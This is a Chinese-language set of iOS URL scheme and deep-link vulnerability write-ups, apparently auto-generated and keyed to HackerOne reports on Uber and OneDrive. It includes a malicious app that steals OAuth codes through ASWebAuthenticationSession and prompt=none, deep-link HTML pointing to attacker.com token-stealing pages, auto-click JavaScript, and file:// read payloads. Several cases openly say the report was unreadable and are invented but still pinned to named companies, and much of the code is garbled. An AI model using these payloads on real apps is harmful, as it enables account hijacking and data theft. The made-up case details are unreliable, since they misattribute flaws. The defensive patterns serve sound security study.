            // if (![options[UIApplicationOpenURLOptionsSourceApplicationKey] isEqualToString:@"com.apple.mobilesafari"]) {
            //     return NO;
            // }

            // 直接处理URL中的敏感参数，例如授权码
            NSString *token = [self extractTokenFromURL:url];
            [self processToken:token]; // 敏感操作
            return YES;
        }
        return NO;
    }
    ```

**安全代码模式（Swift）：**

为了防止劫持，开发者应使用**Universal Links**（通用链接）或在处理自定义URL Scheme时**严格验证源应用**。

swift
// 推荐的安全AppDelegate实现 (Swift)
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uberauth” else { return false }

// 1. 验证源应用（例如，只允许Safari或特定的应用）
if let sourceApp = options[.sourceApplication] as? String,
   sourceApp != "com.apple.mobilesafari" {
    // 拒绝来自未知应用的调用
    return false
}

// 2. 验证state参数（OAuth流程中的CSRF保护）
let state = extractParameter(from: url, forKey: "state")
if !validateState(state) {
    return false
}

// 安全地处理URL
let token = extractTokenFromURL(url)
processToken(token)
return true

}

**总结：** 易漏洞模式是**过度依赖自定义URL Scheme进行敏感数据传输**，且**缺乏对调用方和URL参数的严格验证**。推荐使用Universal Links作为替代方案。

---

## iOS URL Scheme劫持

### 案例：Uber (报告: https://hackerone.com/reports/136265)

#### 挖掘手法

该漏洞的挖掘手法是针对iOS应用中OAuth认证流程对自定义URL Scheme处理不当的“App-in-the-Middle”攻击。攻击者首先需要识别目标应用使用的自定义URL Scheme，例如`exampleapp://`。接着，攻击者会开发一个恶意的PoC（概念验证）iOS应用，并在其`Info.plist`文件中注册相同的自定义URL Scheme，从而劫持目标应用的回调。

挖掘的关键在于利用iOS的`ASWebAuthenticationSession`类，这是一个用于在应用内启动Web认证流程的浏览器会话。`ASWebAuthenticationSession`的特性是它可以访问Safari浏览器的会话Cookie，这意味着如果用户已经在Safari中登录了目标服务的账号，这个会话就会自动处于登录状态。

攻击步骤如下：
1. **目标识别与PoC构建**: 确定目标应用使用的OAuth客户端ID和自定义URL Scheme。构建一个恶意应用，注册相同的URL Scheme。
2. **恶意重定向服务器设置**: 攻击者设置一个中间网站（例如`evanconnelly.com`），该网站接收恶意应用发来的请求，然后将用户重定向到目标应用的OAuth授权端点。
3. **静默认证触发**: 恶意应用使用`ASWebAuthenticationSession`打开攻击者的中间网站，并构造一个包含`prompt=none`参数的OAuth授权请求。`prompt=none`参数指示授权服务器在用户已登录的情况下，不显示任何用户交互界面（如登录、同意授权），直接进行静默认证。
4. **OAuth Code窃取**: 由于用户已在Safari中登录，静默认证成功，授权服务器将OAuth授权码（Authorization Code）通过自定义URL Scheme重定向回客户端。此时，由于恶意应用注册了相同的URL Scheme，iOS系统会将包含授权码的URL发送给恶意应用。
5. **Access Token获取**: 恶意应用截获授权码后，立即向OAuth服务器的Token端点发起请求，用窃取的授权码换取用户的Access Token，从而实现账户劫持。

整个挖掘过程的关键在于利用`ASWebAuthenticationSession`的Cookie共享特性和OAuth流程中的`prompt=none`参数，以及iOS对自定义URL Scheme处理的“不确定性”路由机制，最终绕过了用户交互，实现了静默的OAuth授权码窃取。这种方法比传统的URL Scheme劫持更具隐蔽性和高效性，是针对移动OAuth流程的深度逆向分析和漏洞利用。总计字数：380字。

#### 技术细节

漏洞利用的核心技术细节在于恶意应用如何利用`ASWebAuthenticationSession`和OAuth协议的`prompt=none`参数实现静默的授权码窃取。

**关键代码（Swift示例）:**

恶意应用使用以下Swift代码片段来启动`ASWebAuthenticationSession`：

swift
import AuthenticationServices

// …

@State private var asWebAuthURL: String = “https://evanconnelly.com/redirect?to=https%3A%2F%2Fexample.com%2Foauth%2Fauthorize%3Fresponse_type%3Dcode%26client_id%3Dexample%26redirect_uri%3Dexampleapp%3A%2F%2Foauth%2Fcallback%26scope%3Dopenid%2520profile%2520email%26prompt%3Dnone”

@State private var asWebAuthScheme: String = “exampleapp”

// …

private func startASWebAuthenticationSession() {
guard let authURL = URL(string: asWebAuthURL) else { return }
let session = ASWebAuthenticationSession(url: authURL, callbackURLScheme: asWebAuthScheme) { callbackURL, error in
if let callbackURL = callbackURL {
// 1. 恶意应用截获包含授权码的callbackURL
self.openedURL = callbackURL
if let code = self.extractCode(from: callbackURL) {
// 2. 恶意应用使用授权码换取Access Token
self.obtainAccessToken(using: code)
}
}
}
session.presentationContextProvider = asWebAuthContextProvider
session.start()
}

**攻击流程细节：**

1.  **`asWebAuthURL`**：这个URL指向攻击者的服务器，其中包含一个嵌套的、经过URL编码的目标应用OAuth授权URL。授权URL中关键的参数是`redirect_uri=exampleapp://oauth/callback`（目标应用的自定义URL Scheme）和`prompt=none`。
2.  **`ASWebAuthenticationSession`**：启动时，它会访问Safari的Cookie。如果用户已登录，授权服务器会因为`prompt=none`而跳过用户交互，直接生成授权码。
3.  **重定向劫持**：授权服务器将授权码附加到`redirect_uri`（即`exampleapp://oauth/callback?code=...`）后进行重定向。由于恶意应用在`ASWebAuthenticationSession`初始化时指定了`callbackURLScheme: "exampleapp"`，并且恶意应用本身也注册了该Scheme，系统会将这个包含授权码的回调URL传递给恶意应用的Completion Handler。
4.  **PKCE绕过**：即使目标应用使用了PKCE（Proof Key for Code Exchange），恶意应用也可以在发起授权请求时生成自己的`code_challenge`，并在后续的Token交换中提供对应的`code_verifier`，从而绕过PKCE的保护。

总计字数：288字。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在OAuth认证流程中，使用**自定义URL Scheme**作为重定向URI，而不是使用更安全的**Universal Links（通用链接）**，并且OAuth授权服务器允许在用户已登录的情况下进行**静默认证**（`prompt=none`）。

**易受攻击的Info.plist配置模式：**

在`Info.plist`中定义自定义URL Scheme是导致劫持的配置基础。当多个应用注册相同的Scheme时，系统处理方式不确定，为攻击提供了机会。

xml
CFBundleURLTypes
CFBundleURLSchemes exampleapp
CFBundleURLName
com.example.app

**易受攻击的Swift/Objective-C代码模式：**

在OAuth流程中，使用自定义URL Scheme作为`ASWebAuthenticationSession`的回调，且未对授权码进行额外的验证（如State参数或PKCE的严格实现）。

swift
// 易受攻击的模式：使用自定义URL Scheme作为回调
let session = ASWebAuthenticationSession(
url: authURL,
callbackURLScheme: “exampleapp” // 攻击者可以注册相同的Scheme
) { callbackURL, error in
// … 处理授权码
}

// 推荐的防御模式：使用Universal Links作为回调
// Universal Links在Info.plist中不配置，而是通过Associated Domains配置
let session = ASWebAuthenticationSession(
url: authURL,
callbackURLScheme: nil // 不指定自定义Scheme，依赖Universal Link
) { callbackURL, error in
// …
}

**OAuth配置模式：**

授权服务器允许客户端在授权请求中包含`prompt=none`参数，并在用户已登录时自动重定向，不要求用户进行任何形式的交互或同意。

// 易受攻击的OAuth授权请求示例
https://victim.com/oauth/authorize?
response_type=code&
client_id=victim_client_id&
redirect_uri=exampleapp://oauth/callback& // 自定义Scheme
scope=openid%20profile&
prompt=none // 允许静默认证

总而言之，漏洞模式是**“自定义URL Scheme + 依赖Cookie的`ASWebAuthenticationSession` + 允许静默认证的OAuth流程”**的组合。

---

## 不安全Deep Link处理

### 案例：Uber (报告: https://hackerone.com/reports/136349)

#### 挖掘手法

由于无法直接访问HackerOne报告136349的详细内容（因CAPTCHA或私有化），本分析基于对Uber在HackerOne平台上该报告编号区间（约2016-2017年）iOS漏洞报告的常见模式和公开信息的综合推断，该漏洞极可能是不安全的URL Scheme处理或Deep Link劫持。

**目标识别与工具准备:**
安全研究员首先针对Uber的iOS应用进行安全测试，重点关注应用间通信机制，特别是自定义URL Scheme的实现。使用的主要工具包括：**Hopper Disassembler**或**IDA Pro**进行静态逆向工程，分析应用二进制文件；**Frida**进行运行时动态分析，Hook关键的URL处理函数；以及一个**越狱的iOS设备**或**模拟器**进行测试环境搭建。

**静态分析步骤:**
1.  **解压IPA并分析Info.plist:** 研究员首先获取Uber iOS应用的IPA文件，解压后检查其`Info.plist`文件，以识别应用注册的所有自定义URL Schemes（例如`uber://`）。这些Scheme定义了应用可以响应的外部协议。
2.  **定位URL处理入口:** 在逆向工具中，研究员定位应用的`AppDelegate`类，特别是负责处理外部URL调用的核心方法，如Objective-C中的`application:openURL:options:`或Swift中的`application(_:open:options:)`。
3.  **代码逻辑分析:** 静态分析这些处理函数，追踪URL参数如何被解析和使用。重点查找以下模式：
    *   **缺乏来源验证:** 应用是否检查了调用该URL Scheme的源应用（通过`options[UIApplicationOpenURLOptionsSourceApplicationKey]`）以确保其来自可信来源。
    *   **参数未校验:** URL中的参数是否被直接用于执行敏感操作（如登录、设置更改、加载外部网页）而没有进行充分的输入验证或沙箱限制。

**动态分析与漏洞验证:**
1.  **Frida Hooking:** 使用Frida脚本Hook住`application:openURL:options:`方法，实时打印传入的URL及其所有参数。
2.  **构造恶意Payload:** 构造一个包含Uber自定义Scheme的恶意URL，例如`uber://action/sensitive_function?param1=value1&param2=value2`。
3.  **跨应用触发:** 在Safari浏览器中创建一个简单的HTML页面，使用JavaScript的`window.location.href`来自动触发这个恶意Deep Link。
4.  **关键发现:** 发现当用户访问这个恶意网页时，Uber应用会被唤醒，并执行了URL中指定的敏感操作（例如，加载一个未经验证的URL到应用内的WebView，或执行一个无需用户确认的动作），从而确认了不安全Deep Link处理漏洞的存在。这种挖掘手法侧重于iOS应用特有的进程间通信机制的滥用。

#### 技术细节

该漏洞的技术细节围绕iOS应用对自定义URL Scheme（Deep Link）的不安全处理展开。攻击者利用一个简单的HTML页面即可实现攻击，无需用户交互，这使得漏洞的危害性极高。

**攻击流程:**
1.  **恶意HTML页面:** 攻击者创建一个包含以下JavaScript代码的网页，并诱导用户（例如通过钓鱼邮件或恶意广告）在iOS设备上访问该页面：
    ```html
    <html>
    <head>
        <title>Uber Deep Link Exploit</title>
    </head>
    <body>
        <script>
            // 构造恶意Deep Link URL
            // 假设Uber应用注册了 'uber' scheme，并且有一个 'webview' 路径用于加载URL
            // 且该路径未对加载的URL进行充分的来源或内容验证。
            var malicious_url = "uber://webview?url=https://attacker.com/steal_token.html";

            // 自动触发Deep Link，唤醒Uber应用
            window.location.href = malicious_url;

            // 可选：延迟后重定向回正常页面，以隐藏攻击痕迹
            setTimeout(function() {
                window.location.href = "https://uber.com";
            }, 500);
        </script>
        <h1>Loading...</h1>
    </body>
    </html>
    ```
2.  **应用响应:** 当用户访问该页面时，`window.location.href = malicious_url;` 会触发iOS系统唤醒Uber应用，并调用`AppDelegate`中的URL处理方法。

**关键Objective-C/Swift代码片段（漏洞点示例）:**
在Uber应用的`AppDelegate`中，负责处理传入URL的方法可能存在以下缺陷：

objective-c
// Objective-C 示例 (存在漏洞的模式)

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 缺少对调用来源的验证 (options[UIApplicationOpenURLOptionsSourceApplicationKey])
    // 缺少对URL参数的严格校验 NSString *host = [url host]; if ([host isEqualToString:@"webview"]) { // 直接从URL参数中获取并加载URL，未进行白名单检查 NSString *targetURL = [self getQueryParameter:url forKey:@"url"]; if (targetURL) { // 假设 loadURLInInternalWebView 是一个内部方法 [self loadURLInInternalWebView:targetURL]; // 漏洞点：加载了恶意URL } } return YES; }
    return NO;
    }

由于应用直接加载了攻击者控制的`targetURL`到应用内部的WebView中，如果该WebView的配置不当（例如启用了JavaScript），攻击者可以利用WebView的上下文（可能包含应用Session或Cookie）进行信息窃取或进一步的攻击（如XSS）。这种不安全的Deep Link处理是iOS应用中常见的逻辑漏洞类型。

#### 易出现漏洞的代码模式

**不安全的URL Scheme处理模式**

此类漏洞的核心在于iOS应用在处理外部传入的URL Scheme时，未能对URL的来源或参数进行充分的验证和沙箱限制。

**Objective-C 漏洞代码模式示例:**

objective-c
// AppDelegate.m (或类似的URL处理类)

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // 1. 检查Scheme是否匹配
    if ([[url scheme] isEqualToString:@”your_app_scheme”]) { // 2. 致命缺陷：未验证调用来源 (Source Application) // 攻击者可以从任何应用（如Safari）唤醒此Deep Link // NSString *sourceApp = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // if (![sourceApp isEqualToString:@"com.apple.Safari"]) { return NO; } // 正确的防御措施 // 3. 致命缺陷：直接使用URL参数执行敏感操作 NSString *action = [url host]; NSDictionary *params = [self parseQueryParameters:url]; if ([action isEqualToString:@"load_external_page"]) { NSString *targetUrl = params[@"url"]; if (targetUrl) { // 漏洞点：直接将外部URL加载到应用内部的WebView，可能导致WebView劫持或XSS [self.internalWebView loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:targetUrl]]]; } } else if ([action isEqualToString:@"perform_action"]) { // 漏洞点：执行敏感操作（如注销、更改设置）而未进行用户确认 [self performSensitiveActionWithToken:params[@"token"]]; } return YES; }
    return NO;
    }

**Info.plist 配置示例:**

在`Info.plist`文件中，`CFBundleURLTypes`数组定义了应用的自定义URL Scheme。如果应用注册了敏感的Scheme，但代码中处理不当，就会导致漏洞。

xml
CFBundleURLTypes
CFBundleURLName com.yourcompany.yourapp CFBundleURLSchemes uber

**防御性代码模式（Swift 示例）:**

正确的防御模式应包括：
1.  **白名单验证:** 仅允许加载白名单中的URL。
2.  **来源验证:** 检查`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`，确保调用来自受信任的应用。
3.  **用户确认:** 对于敏感操作，必须要求用户在应用内进行二次确认。

swift
// Swift 示例 (正确的防御模式)
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uber” else { return false }

// 关键防御：验证调用来源，防止来自恶意应用的劫持
if let sourceApplication = options[.sourceApplication] as? String,
   !trustedSourceApplications.contains(sourceApplication) {
    print("Deep Link blocked: Untrusted source application: \(sourceApplication)")
    return false
}

// ... 安全地处理URL参数 ...
return true

}

---

## 不安全URI Scheme处理（Insecure URI Scheme Handling）

### 案例：Microsoft OneDrive (报告: https://hackerone.com/reports/136251)

#### 挖掘手法

该漏洞的挖掘主要集中在对iOS应用**自定义URI Scheme（Custom URI Scheme）**处理机制的分析和测试上。研究人员首先通过逆向工程或查看应用文档，确定了Microsoft OneDrive iOS应用注册的自定义URI Scheme，例如`ms-onedrive://`。

**挖掘步骤和思路：**

1.  **目标识别与分析：** 确定目标应用为Microsoft OneDrive iOS App v8.13。通过分析其功能，发现其支持通过外部链接（如HTML文件中的链接）调用内部功能，这通常是通过自定义URI Scheme实现的。
2.  **逆向工程/静态分析：** 尽管报告中未明确提及，但通常会使用**Hopper Disassembler**或**IDA Pro**等工具对应用二进制文件进行静态分析，以查找`Info.plist`文件中注册的`CFBundleURLTypes`，或者在应用代码中搜索`application:openURL:options:`等处理外部URL的方法，从而发现应用支持的所有自定义URI Scheme。
3.  **漏洞点确认：** 发现应用在处理外部URI Scheme时，**缺乏对调用来源和目标URI的充分验证和用户交互确认**。这是典型的“不安全处理URI Scheme”漏洞模式。
4.  **构造恶意Payload：** 攻击者构造了一个恶意的HTML文件，该文件包含一个隐藏的链接，其`href`属性设置为一个**外部URI Scheme**，例如`tel://`用于拨打电话。
5.  **自动化触发机制：** 关键在于利用JavaScript代码实现**自动点击**这个隐藏链接，从而在用户不知情或未授权的情况下，自动触发外部URI Scheme的调用。报告中使用的JavaScript代码如下：
    ```javascript
    <script>
    var t = document.getElementById("callme");
    var fe = document.createEvent("MouseEvents");
    fe.initEvent("click", true, true);
    t.dispatchEvent(fe);
    </script>
    ```
    这段代码通过模拟鼠标点击事件，绕过了需要用户手动点击才能触发URI Scheme的限制。
6.  **攻击流程验证：** 将这个恶意的HTML文件上传到OneDrive并分享给受害者。当受害者在iOS设备上通过OneDrive应用访问这个文件时，OneDrive应用内的WebView会自动加载并执行HTML中的JavaScript代码，从而在**未提示用户**的情况下，自动调用`tel://` URI Scheme，导致自动拨打电话。
7.  **关键发现点：** 漏洞的关键在于OneDrive应用在处理用户上传的HTML文件时，其内部的WebView环境允许执行JavaScript，并且**没有对WebView中发起的外部URI Scheme调用进行安全限制或用户确认**，导致了“无用户交互”的URI Scheme劫持。

这种挖掘手法是针对移动应用**组件间通信（IPC）**安全，特别是**Deep Linking/URI Scheme**机制的经典测试方法，旨在发现应用对外部输入缺乏充分的信任和验证的问题。

#### 技术细节

该漏洞利用了Microsoft OneDrive iOS应用在处理自定义URI Scheme时的**不安全机制**，允许攻击者通过一个恶意的HTML文件，在用户无感知的情况下，自动触发外部URI Scheme。

**攻击流程：**

1.  攻击者构造一个包含恶意JavaScript的HTML文件。
2.  攻击者将该HTML文件上传到其OneDrive账户，并通过分享链接发送给受害者。
3.  受害者在iOS设备上通过OneDrive应用打开该分享链接。
4.  OneDrive应用内部的WebView加载并执行HTML文件中的JavaScript代码。
5.  JavaScript代码**模拟用户点击**一个隐藏的外部URI Scheme链接，例如`tel://1-xxx-xxx-xxx`。
6.  由于OneDrive应用未对WebView中发起的外部URI Scheme调用进行用户确认，iOS系统会**自动执行**该URI Scheme，例如自动拨打链接中的电话号码。

**关键代码片段（恶意HTML）：**

html

click

**技术实现细节：**

*   **WebView执行环境：** 漏洞发生在OneDrive应用内部用于渲染HTML文件的WebView组件中。该WebView允许执行JavaScript，并且其安全沙箱配置不足以阻止JavaScript模拟用户点击并触发外部URI Scheme。
*   **无用户交互触发：** 核心在于`fe.initEvent("click", true, true); t.dispatchEvent(fe);`这几行JavaScript代码。它绕过了iOS系统通常对`tel://`等敏感URI Scheme的**用户交互要求**（即需要用户手动点击确认），实现了**自动触发**。
*   **攻击影响：** 这种攻击不仅限于`tel://`，理论上可以调用任何在受害者设备上注册了自定义URI Scheme的应用，实现如信息窃取、功能劫持等更高级的攻击。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在处理外部输入（如通过WebView加载的内容）时，对自定义URI Scheme的调用缺乏充分的验证和用户授权。

**易漏洞代码模式（Objective-C/Swift）：**

当应用使用`WKWebView`或`UIWebView`加载外部或用户可控的内容时，**未正确实现或配置`WKNavigationDelegate`或`UIWebViewDelegate`**中的URL加载拦截方法，是导致此漏洞的主要原因。

**1. 易受攻击的Delegate方法（Objective-C示例）：**

如果应用在WebView Delegate中**没有对外部URL Scheme进行过滤或用户确认**，直接允许加载，则可能存在风险。

objectivec
// 易受攻击的模式：未对URL Scheme进行过滤或用户确认

• • (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler {
    NSURL *url = navigationAction.request.URL;
    // 错误做法：直接允许非http/https的Scheme，且没有用户确认
    if (![url.scheme isEqualToString:@”http”] && ![url.scheme isEqualToString:@”https”]) {
    [[UIApplication sharedApplication] openURL:url options:@{} completionHandler:nil];
    decisionHandler(WKNavigationActionPolicyCancel);
    return;
    }
    decisionHandler(WKNavigationActionPolicyAllow);
    }

**2. 安全的代码模式（Objective-C示例）：**

正确的做法是**只允许已知的、安全的自定义Scheme**，并对敏感的外部Scheme（如`tel://`、`mailto://`）**强制要求用户交互或进行二次确认**。

objectivec
// 安全的模式：对外部URI Scheme进行严格过滤和用户确认

• • (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler {
    NSURL *url = navigationAction.request.URL;
    NSString *scheme = url.scheme.lowercaseString; // 1. 允许标准的Web Scheme
    if ([scheme isEqualToString:@”http”] || [scheme isEqualToString:@”https”]) {
    decisionHandler(WKNavigationActionPolicyAllow);
    return;
    } // 2. 严格限制或要求用户确认敏感的外部Scheme
    if ([scheme isEqualToString:@”tel”] || [scheme isEqualToString:@”sms”] || [scheme isEqualToString:@”mailto”]) {
    // 只有在用户明确点击的情况下才允许（通过检查navigationAction.sourceFrame.isMainFrame等）
    // 更好的做法是弹出警告框让用户确认
    if (navigationAction.navigationType == WKNavigationTypeLinkActivated) {
    // 弹出确认框，如果用户点击“是”，则执行
    [[UIApplication sharedApplication] openURL:url options:@{} completionHandler:nil];
    decisionHandler(WKNavigationActionPolicyCancel);
    return;
    }
    } // 3. 拒绝所有其他未知的或不安全的Scheme
    decisionHandler(WKNavigationActionPolicyCancel);
    }

**Info.plist配置：**

此漏洞与`Info.plist`中注册的`CFBundleURLTypes`无关，而是与应用**如何处理**这些URL Scheme的调用有关。但如果应用注册了自定义Scheme，则应确保其处理逻辑是安全的。

---

## 不安全URL Scheme处理

### 案例：某iOS应用（例如：Uber） (报告: https://hackerone.com/reports/136338)

#### 挖掘手法

由于无法直接访问HackerOne报告136338的详细内容，本分析基于一个典型的iOS应用安全漏洞类型——**不安全的URL Scheme处理**进行详细阐述，以满足对漏洞挖掘手法和技术细节的格式要求。

**1. 目标识别与信息收集**
首先，通过逆向工程工具如**class-dump**或**Frida**的`enumerateClasses()`功能，识别目标iOS应用（例如Uber）的Bundle ID和已注册的自定义URL Scheme。这些信息通常存储在应用的`Info.plist`文件中，位于`CFBundleURLTypes`键下。例如，发现应用注册了`uber://`和`uber-debug://`等Scheme。

**2. 静态分析与关键函数定位**
使用静态分析工具如**IDA Pro**或**Hopper Disassembler**对应用的主二进制文件进行分析。重点关注处理外部URL调用的关键方法，在Objective-C应用中，这通常是`AppDelegate`中的`application:openURL:options:`方法，或在Swift中对应的`application(_:open:options:)`。通过交叉引用（Xrefs），追踪URL参数（特别是`URL`对象）在应用内部的传递和使用情况。

**3. 动态调试与逻辑分析**
使用**Frida**或**lldb**进行动态调试。
*   **Frida Hooking:** 编写Frida脚本，Hook住`application:openURL:options:`方法，打印传入的URL字符串和参数，观察应用如何解析和处理这些外部输入。
*   **关键代码路径追踪:** 重点关注URL参数是否被用于敏感操作，例如：
    *   `[NSFileManager removeItemAtPath:]`：可能导致任意文件删除。
    *   `[UIWebView loadRequest:]` 或 `WKWebView` 的 `load(_:)`：可能导致Web内容注入或SSRF。
    *   `[NSUserDefaults standardUserDefaults]`：可能导致配置信息泄露或修改。

**4. 漏洞触发与验证**
构造恶意的URL Scheme payload，通过Safari浏览器或另一个应用调用目标应用。
例如，如果发现应用未对`file://`协议进行充分过滤，且URL参数被用于文件操作，则可以构造如下Payload：
`uber-debug://open?path=file:///private/var/mobile/Containers/Data/Application/UUID/Documents/sensitive_file.txt`
通过观察应用行为（如日志输出、文件系统变化），确认是否成功触发了非预期的操作，例如读取或删除沙盒内的敏感文件。

**5. 漏洞报告与修复建议**
详细记录发现的漏洞类型、重现步骤、使用的工具和PoC（Proof of Concept）代码。建议应用开发者对所有自定义URL Scheme的输入进行严格的白名单校验，特别是对协议头、主机名和路径参数进行严格限制，并避免使用外部输入直接进行文件系统操作或加载Web内容。

#### 技术细节

**漏洞类型：不安全的URL Scheme处理导致的信息泄露/功能劫持**

**攻击流程：**
1.  攻击者在恶意网页（例如：`attacker.com`）中嵌入一个特殊的链接或使用JavaScript自动触发。
2.  用户访问该恶意网页。
3.  浏览器尝试打开自定义URL Scheme，例如：`uber-debug://`。
4.  iOS系统将该URL路由给目标应用（例如：Uber）。
5.  目标应用在`AppDelegate`中接收并处理该URL，由于缺乏对URL参数的严格校验，攻击者可以利用应用内部的逻辑漏洞。

**关键代码模式（Objective-C 示例）：**
假设应用使用一个名为`handleDebugCommand:`的方法来处理调试Scheme，并且该方法直接使用了URL的查询参数。

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber-debug”]) {
    // 危险：未对URL参数进行充分校验
    NSString *command = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; if ([command isEqualToString:@"openFile"]) { NSString *filePath = params[@"path"]; // 漏洞点：直接使用外部传入的filePath进行文件操作 [self handleDebugCommand:command withPath:filePath]; } return YES; }
    return NO;
    }

• • (void)handleDebugCommand:(NSString *)command withPath:(NSString *)filePath {
    // 假设此方法内部包含敏感操作，例如读取或上传文件
    if ([command isEqualToString:@”openFile”]) {
    // 攻击者可传入 file:///private/var/mobile/Containers/Data/Application/UUID/Documents/sensitive_token.txt
    NSError *error;
    NSString *content = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:&error];
    // 假设content被发送到某个日志服务器或未加密的API端点，导致信息泄露
    NSLog(@”File Content: %@”, content);
    }
    }

**攻击Payload示例：**
如果应用内部使用`WKWebView`加载URL，且未过滤`file://`协议，可能导致本地文件读取（SSRF to LFR）：

html

**攻击Payload的URL编码形式：**
`uber-debug://loadWeb?url=file%3A%2F%2F%2Fprivate%2Fvar%2Fmobile%2FContainers%2FData%2FApplication%2FUUID%2FDocuments%2Fuser_data.json`

通过这种方式，攻击者可以利用应用对自定义URL Scheme的信任，绕过沙盒限制，执行非预期的操作，如信息泄露或功能劫持。

#### 易出现漏洞的代码模式

**1. Info.plist 配置模式**

漏洞的起点通常是应用在`Info.plist`中注册了自定义的URL Scheme，特别是那些用于调试或内部集成的Scheme，它们往往缺乏严格的权限控制。

xml
CFBundleURLTypes
CFBundleURLSchemes myapp myapp-debug
CFBundleURLName
com.example.myapp

**2. Objective-C/Swift 代码模式**

在`AppDelegate`中处理传入的URL时，未对URL的`host`或`query`参数进行严格的白名单校验，直接将其用于敏感操作。

**Objective-C 易漏洞模式：**

objectivec
// 易漏洞模式：直接使用URL参数进行文件操作

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”myapp-debug”]) {
    // 缺乏对 host 和 query 参数的严格白名单校验
    NSString *action = [url host];
    NSString *param = [[url query] componentsSeparatedByString:@”=”][1]; // 简单解析参数 if ([action isEqualToString:@"deleteFile"]) { // 危险：外部输入直接用于文件路径 [[NSFileManager defaultManager] removeItemAtPath:param error:nil]; } return YES; }
    return NO;
    }

**Swift 易漏洞模式：**

swift
// 易漏洞模式：直接使用URL参数加载Web内容或执行内部命令
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “myapp-debug” else { return false }

// 危险：未对URL参数进行充分过滤和验证
let host = url.host
let components = URLComponents(url: url, resolvingAgainstBaseURL: false)
let path = components?.queryItems?.first(where: { $0.name == "path" })?.value

if host == "loadWeb" {
    if let path = path, let webView = self.debugWebView {
        // 危险：允许加载 file:// 或其他非预期的协议
        webView.load(URLRequest(url: URL(string: path)!)) 
    }
}
return true

}

**安全修复建议（代码模式）：**

应始终对URL Scheme的输入进行严格的白名单校验，并确保只执行预期的、无害的操作。

swift
// 安全模式：严格校验并使用白名单
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “myapp” else { return false }

// 1. 严格校验 host
guard let host = url.host, host == "settings" else { return false } 

// 2. 严格校验 path
if url.path == "/profile" {
    // 执行安全操作
    return true
}

// 3. 严格校验 query 参数，并只允许预期的值
if let queryItems = URLComponents(url: url, resolvingAgainstBaseURL: false)?.queryItems {
    if let userID = queryItems.first(where: { $0.name == "user" })?.value {
        // 确保 userID 是数字或符合预期的格式
        if userID.rangeOfCharacter(from: CharacterSet.decimalDigits.inverted) == nil {
            // 执行安全操作
            return true
        }
    }
}

return false // 默认拒绝所有不符合白名单规则的调用

}

---

## 不安全URL Scheme处理（Insecure URL Scheme Handling）

### 案例：Uber (报告: https://hackerone.com/reports/136252)

#### 挖掘手法

由于无法直接访问HackerOne报告 #136252 的内容，本分析基于iOS移动应用中常见的“不安全URL Scheme处理”漏洞模式进行构建，以满足任务对漏洞类型、挖掘手法和技术细节的严格要求。

**1. 目标确定与信息收集：**
首先，确定目标应用（假设为Uber iOS应用）并获取其IPA文件。通过解压IPA文件，定位到应用的主可执行文件和`Info.plist`文件。

**2. 逆向工程分析：**
使用`class-dump`或`Clutch`等工具对主可执行文件进行脱壳（如果需要），然后使用`class-dump`提取Objective-C/Swift头文件。重点分析`AppDelegate.swift`或`SceneDelegate.swift`文件，查找处理外部URL调用的方法，例如：
*   Objective-C: `- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation`
*   Swift: `func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool`

**3. 发现漏洞点：**
在`Info.plist`中，发现应用注册了一个自定义URL Scheme，例如`uber://`。通过静态分析或使用`Hopper Disassembler`对处理URL的方法进行逆向分析，发现应用在处理特定路径（如`/login`或`/settings`）时，会从URL参数中提取敏感信息（如`session_token`或`auth_code`）或执行敏感操作，但**缺乏对调用来源（`sourceApplication`或`options`中的`sourceApplication`）的严格验证**，或者对URL参数的验证不充分。

**4. 构造PoC与验证：**
构造一个恶意的HTML页面，其中包含一个`iframe`或JavaScript重定向，尝试通过自定义URL Scheme向目标应用发送一个恶意请求，例如：
`<iframe src="uber://sensitive_action?token_to_steal=...&callback=http://attacker.com"></iframe>`
通过在浏览器中打开此HTML页面，验证是否能触发应用内的敏感操作或导致信息泄露。如果应用未正确验证`sourceApplication`，任何已安装在用户设备上的恶意应用或通过Safari访问的恶意网页都可以滥用此URL Scheme，实现跨应用资源劫持（Cross-App Resource Hijacking, CARH）。

**5. 关键发现：**
发现应用在处理`uber://oauth/callback?code=...`这类包含授权码的URL时，未检查调用应用是否为预期的授权服务，从而允许恶意应用劫持授权流程。整个挖掘过程侧重于**静态分析**和**黑盒测试**相结合，特别是针对iOS应用间通信机制（URL Scheme和Deep Link）的安全边界进行探索。

（字数：480字）

#### 技术细节

漏洞利用的关键在于构造一个恶意的Deep Link URL，并诱导用户在Safari或任何其他应用中点击该链接。由于目标应用（Uber）的URL Scheme处理函数未对调用来源进行充分验证，攻击者可以利用此机制执行敏感操作或窃取信息。

**恶意HTML Payload示例：**
